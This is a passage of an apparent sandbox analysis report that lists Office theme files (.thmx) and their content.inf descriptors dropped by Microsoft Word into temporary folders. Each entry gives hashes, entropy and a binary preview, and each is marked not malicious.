Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCDC309.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.5361139545278144
Encrypted:	false
SSDEEP:	6:Q+sxnxUXeMWMluRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnycMlMymD0wbnKNAH/lMz1
MD5:	133D126F0DE2CC4B29ECE38194983265
SHA1:	D8D701298D7949BE6235493925026ED405290D43
SHA-256:	08485EBF168364D846C6FD55CD9089FE2090D1EE9D1A27C1812E1247B9005E68
SHA-512:	75D7322BE8A5EF05CAA48B754036A7A6C56399F17B1401F3F501DA5F32B60C1519F2981043A773A31458C3D9E1EF230EC60C9A60CAC6D52FFE16147E2E0A9830
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.a.s.i.s...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDC33B.tmp\Frame.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	523048
Entropy (8bit):	7.715248170753013
Encrypted:	false
SSDEEP:	6144:WfmDdN6Zfv8q5rnM6vZ02PtMZRkfW5ipbnMHxVcsOWrCMxy0sD/mcKb4rYEY:xDdQXBrMi2YtggW5ObnMH1brJpUmBU0N
MD5:	C276F590BB846309A5E30ADC35C502AD
SHA1:	CA6D9D6902475F0BE500B12B7204DD1864E7DD02
SHA-256:	782996D93DEBD2AF9B91E7F529767A8CE84ACCC36CD62F24EBB5117228B98F58
SHA-512:	B85165C769DFE037502E125A04CFACDA7F7CC36184B8D0A54C1F9773666FFCC43A1B13373093F97B380871571788D532DEEA352E8D418E12FD7AAD6ADB75A150
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCDC33B.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.5159096381406645
Encrypted:	false
SSDEEP:	6:Q+sxnxUXQIa3ARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnygIaqymD0wbnKNAH/lMz1
MD5:	71CCB69AF8DD9821F463270FB8CBB285
SHA1:	8FED3EB733A74B2A57D72961F0E4CF8BCA42C851
SHA-256:	8E63D7ABA97DABF9C20D2FAC6EB1665A5D3FDEAB5FA29E4750566424AE6E40B4
SHA-512:	E62FC5BEAEC98C5FDD010FABDAA8D69237D31CA9A1C73F168B1C3ED90B6A9B95E613DEAD50EB8A5B71A7422942F13D6B5A299EB2353542811F2EF9DA7C3A15DC
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .F.r.a.m.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDC33C.tmp\Dividend.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	570901
Entropy (8bit):	7.674434888248144
Encrypted:	false
SSDEEP:	6144:D2tTXiO/3GH5SkPQVAqWnGrkFxvay910UUTWZJarUv9TA0g8:kX32H+VWgkFxSgGTmarUv9T
MD5:	D676DE8877ACEB43EF0ED570A2B30F0E
SHA1:	6C8922697105CEC7894966C9C5553BEB64744717
SHA-256:	DF012D101DE808F6CD872DFBB619B16732C23CF4ABC64149B6C3CE49E9EFDA01
SHA-512:	F40BADA680EA5CA508947290BA73901D78DE79EAA10D01EAEF975B80612D60E75662BDA542E7F71C2BBA5CA9BA46ECAFE208FD6E40C1F929BB5E407B10E89FBD
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCDC33C.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5459495297497368
Encrypted:	false
SSDEEP:	6:Q+sxnxUXvBAuRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnypJymD0wbnKNAH/lMz1
MD5:	76340C3F8A0BFCEDAB48B08C57D9B559
SHA1:	E1A6672681AA6F6D525B1D17A15BF4F912C4A69B
SHA-256:	78FE546321EDB34EBFA1C06F2B6ADE375F3B7C12552AB2A04892A26E121B3ECC
SHA-512:	49099F040C099A0AED88E7F19338140A65472A0F95ED99DEB5FA87587E792A2D11081D59FD6A83B7EE68C164329806511E4F1B8D673BEC9074B4FF1C09E3435D
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .D.i.v.i.d.e.n.d...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDC36D.tmp\Metropolitan.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	777647
Entropy (8bit):	7.689662652914981
Encrypted:	false
SSDEEP:	6144:B04bNOJMngI856k0wwOGXMaXTLaTDmfBaN2Tx9iSUk1PdSnc0lnDlcGMcEFYYYYt:xbY6ngI46Aw5dmyYYYYYYYYY7p8d
MD5:	B30D2EF0FC261AECE90B62E9C5597379
SHA1:	4893C5B9BE04ECBB19EE45FFCE33CA56C7894FE3
SHA-256:	BB170D6DE4EE8466F56C93DC26E47EE8A229B9C4842EA8DD0D9CCC71BC8E2976
SHA-512:	2E728408C20C3C23C84A1C22DB28F0943AAA960B4436F8C77570448D5BEA9B8D53D95F7562883FA4F9B282DFE2FD07251EEEFDE5481E49F99B8FEDB66AAAAB68
Malicious:	false
Preview:	PK.........V'B.._<....-.......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Local\Temp\TCDC36D.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.5091498509646044
Encrypted:	false
SSDEEP:	6:Q+sxnxUX1MiDuRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyFdMymD0wbnKNAH/lMz1
MD5:	23D59577F4AE6C6D1527A1B8CDB9AB19
SHA1:	A345D683E54D04CC0105C4BFFCEF8C6617A0093D
SHA-256:	9ADD2C3912E01C2AC7FAD6737901E4EECBCCE6EC60F8E4D78585469A440E1E2C
SHA-512:	B85027276B888548ECB8A2FC1DB1574C26FF3FCA7AF1F29CD5074EC3642F9EC62650E7D47462837607E11DCAE879B1F83DF4762CA94667AE70CBF78F8D455346
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .M.e.t.r.o.p.o.l.i.t.a.n...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDC38D.tmp\View.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	486596
Entropy (8bit):	7.668294441507828
Encrypted:	false
SSDEEP:	6144:A+JBmUx0Zo24n8z/2NSYFl2qGBuv8p6+LwwYmN59wBttsdJrmXMlP1NwQoGgeL:fNgxz/g5z2BT6+Eu0ntMcczNQG5L
MD5:	0E37AECABDB3FDF8AAFEDB9C6D693D2F
SHA1:	F29254D2476DF70979F723DE38A4BF41C341AC78
SHA-256:	7AC7629142C2508B070F09788217114A70DE14ACDB9EA30CBAB0246F45082349
SHA-512:	DE6AFE015C1D41737D50ADD857300996F6E929FED49CB71BC59BB091F9DAB76574C56DEA0488B0869FE61E563B07EBB7330C8745BC1DF6305594AC9BDEA4A6BF
Malicious:	false
Preview:	PK.........V'BE,.{....#P......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Local\Temp\TCDC38D.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.535303979138867
Encrypted:	false
SSDEEP:	6:Q+sxnxUX3IlVARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnynG6ymD0wbnKNAH/lMz1
MD5:	35AFE8D8724F3E19EB08274906926A0B
SHA1:	435B528AAF746428A01F375226C5A6A04099DF75
SHA-256:	97B8B2E246E4DAB15E494D2FB5F8BE3E6361A76C8B406C77902CE4DFF7AC1A35
SHA-512:	ACF4F124207974CFC46A6F4EA028A38D11B5AF40E55809E5B0F6F5DABA7F6FC994D286026FAC19A0B4E2311D5E9B16B8154F8566ED786E5EF7CDBA8128FD62AF
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .V.i.e.w...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDC38E.tmp\Wood_Type.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1649585
Entropy (8bit):	7.875240099125746
Encrypted:	false
SSDEEP:	24576:L368X6z95zf5BbQ6U79dYy2HiTIxRboyM/LZTl5KnCc:r68kb7UTYxGIxmnp65
MD5:	35200E94CEB3BB7A8B34B4E93E039023
SHA1:	5BB55EDAA4CDF9D805E36C36FB092E451BDDB74D
SHA-256:	6CE04E8827ABAEA9B292048C5F84D824DE3CEFDB493101C2DB207BD4475AF1FD
SHA-512:	ED80CEE7C22D10664076BA7558A79485AA39BE80582CEC9A222621764DAE5EFA70F648F8E8C5C83B6FE31C2A9A933C814929782A964A47157505F4AE79A3E2F9
Malicious:	false
Preview:	PK..........1A..u._....P......[Content_Types].xml..Ms.@.....!...=.7....;a.h.&Y..l..H~..`;...d..g/..e..,M..C...5...#g/."L..;...#. ]..f...w../._.2Y8..X.[..7._.[...K3..#.4......D.]l.?...~.&J&....p..wr-v.r.?...i.d.:o....Z.a\|._....\|.d...A....A".0.J......nz....#.s.m.......(.]........~..XC..J......+.\|...(b}...K!._.D....uN....u..U..b=.^..[...f...f.,...eo..z.8.mz....."..D..SU.}ENp.k.e}.O.N....:^....5.d.9Y.N..5.d.q.^s..}R...._E..D...o..o...o...f.6;s.Z]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...S.....0.zN.... ...>..>..>..>..>..>..>........e...,..7...F(L.....>.ku...i...i...i...i...i...i...i........yi.....G...1.....j...r.Z]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o\|^Z....Q}.;.o...9.Z..\.V...............................jZ......k.pT...0.zN.... ...>..>..>..>..>..>..>........e...,..7...f(L.....>.ku...i...i...i...i...i...i...i........yi.......n.....{.._f...0...PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...

C:\Users\user\AppData\Local\Temp\TCDC38E.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.5552837910707304
Encrypted:	false
SSDEEP:	6:Q+sxnxUXtLARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnygymD0wbnKNAH/lMz1
MD5:	5728F26DF04D174DE9BDFF51D0668E2A
SHA1:	C998DF970655E4AF9C270CC85901A563CFDBCC22
SHA-256:	979DAFD61C23C185830AA3D771EDDC897BEE87587251B84F61776E720ACF9840
SHA-512:	491B36AC6D4749F7448B9A3A6E6465E8D97FB30F33EF5019AF65660E98F4570711EFF5FC31CBB8414AD9355029610E6F93509BC4B2FB6EA79C7CB09069DE7362
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .W.o.o.d._.T.y.p.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDC400.tmp\Quotable.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	966946
Entropy (8bit):	7.8785200658952
Encrypted:	false
SSDEEP:	24576:qBcvGBGhXQir6H1ws6+iU0YuA35VuinHX2NPs:ccvGBGdQ5CsMxQVj3yPs
MD5:	F03AB824395A8F1F1C4F92763E5C5CAD
SHA1:	A6E021918C3CEFFB6490222D37ECEED1FC435D52
SHA-256:	D96F7A63A912CA058FB140138C41DCB3AF16638BA40820016AF78DF5D07FAEDD
SHA-512:	0241146B63C938F11045FB9DF5360F63EF05B9B3DD1272A3E3E329A1BFEC5A4A645D5472461DE9C06CFE4ADB991FE96C58F0357249806C341999C033CD88A7AF
Malicious:	false
Preview:	PK..........1A.......F`......[Content_Types].xml..n.@.._.y.ac $..,........-..g@.u.G.+t.:........D1...itgt>...k..lz;].8Kg^....N.l..........0.~}....ykk.A`..N..\...2+.e.c..r..P+....I.e.......\|.^/.vc{......s..z....f^...8...'.zcN&.<....}.K.'h..X..y.c.qnn.s%...V('~v.W.......I%nX`.....G.........r.Gz.E..M.."..M....6n.a..V.K6.G?Qqz..............\e.K.>..lkM...`...k.5...sb.rbM8..8..9..pb..R..{>$..C.>......X..iw.'..a.09CPk.n...v....5n..Uk\...SC...j.Y.....Vq..vk>mi......z..t....v.]...n...e(.....s.i......]...q.r....~.WV/.j.Y......K..-.. Z..@.\.P..W...A..X8.`$C.F(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........c..0F...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP..........(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-.............0A...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP.........w(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........T..GI..~.....~....PK..........1A.s@.....O......._rels/.rels...J.

C:\Users\user\AppData\Local\Temp\TCDC400.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5323495192404475
Encrypted:	false
SSDEEP:	6:Q+sxnxUXhduDARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyxdumymD0wbnKNAH/lMz1
MD5:	BD6B5A98CA4E6C5DBA57C5AD167EDD00
SHA1:	CCFF7F635B31D12707DC0AC6D1191AB5C4760107
SHA-256:	F22248FE60A55B6C7C1EB31908FAB7726813090DE887316791605714E6E3CEF7
SHA-512:	A178299461015970AF23BA3D10E43FCA5A6FB23262B0DD0C5DDE01D338B4959F222FD2DC2CC5E3815A69FDDCC3B6B4CB8EE6EC0883CE46093C6A59FF2B042BC1
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .Q.u.o.t.a.b.l.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDC431.tmp\Parallax.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	924687
Entropy (8bit):	7.824849396154325
Encrypted:	false
SSDEEP:	12288:lsadD3eLxI8XSh4yDwFw8oWR+6dmw2ZpQDKpazILv7Jzny/ApcWqyOpEZULn:qLxI8XSh4yUF/oWR+mLKpYIr7l3ZQ7n
MD5:	97EEC245165F2296139EF8D4D43BBB66
SHA1:	0D91B68CCB6063EB342CFCED4F21A1CE4115C209
SHA-256:	3C5CF7BDB27592791ADF4E7C5A09DDE4658E10ED8F47845064DB1153BE69487C
SHA-512:	8594C49CAB6FF8385B1D6E174431DAFB0E947A8D7D3F200E622AE8260C793906E17AA3E6550D4775573858EA1243CCBF7132973CD1CF7A72C3587B9691535FF8
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Local\Temp\TCDC431.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.51145753448333
Encrypted:	false
SSDEEP:	6:Q+sxnxUXKsWkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny6svymD0wbnKNAH/lMz1
MD5:	7956D2B60E2A254A07D46BCA07D0EFF0
SHA1:	AF1AC8CA6FE2F521B2EE2B7ABAB612956A65B0B5
SHA-256:	C92B7FD46B4553FF2A656FF5102616479F3B503341ED7A349ECCA2E12455969E
SHA-512:	668F5D0EFA2F5168172E746A6C32820E3758793CFA5DB6791DE39CB706EF7123BE641A8134134E579D3E4C77A95A0F9983F90E44C0A1CF6CDE2C4E4C7AF1ECA0
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .P.a.r.a.l.l.a.x...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDC432.tmp\Berlin.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	976001
Entropy (8bit):	7.791956689344336
Encrypted:	false
SSDEEP:	24576:zHM7eZGgFiHMRej4N9tpytNZ+tIw5ErZBImlX0m:zHM7eZGgFiHMRej++NZ+F5WvllZ
MD5:	9E563D44C28B9632A7CF4BD046161994
SHA1:	D3DB4E5F5B1CC6DD08BB3EBF488FF05411348A11
SHA-256:	86A70CDBE4377C32729FD6C5A0B5332B7925A91C492292B7F9C636321E6FAD86
SHA-512:	8EB14A1B10CB5C7607D3E07E63F668CFC5FC345B438D39138D62CADF335244952FBC016A311D5CB8A71D50660C49087B909528FC06C1D10AF313F904C06CBD5C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCDC432.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.5270134268591966
Encrypted:	false
SSDEEP:	6:Q+sxnxUXa3Y1kRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyt1mymD0wbnKNAH/lMz1
MD5:	327DA4A5C757C0F1449976BE82653129
SHA1:	CF74ECDF94B4A8FD4C227313C8606FD53B8EEA71
SHA-256:	341BABD413AA5E8F0A921AC309A8C760A4E9BA9CFF3CAD3FB2DD9DF70FD257A6
SHA-512:	9184C3FB989BB271B4B3CDBFEFC47EA8ABEB12B8904EE89797CC9823F33952BD620C061885A5C11BBC1BD3978C4B32EE806418F3F21DA74F1D2DB9817F6E167E
Malicious:	false
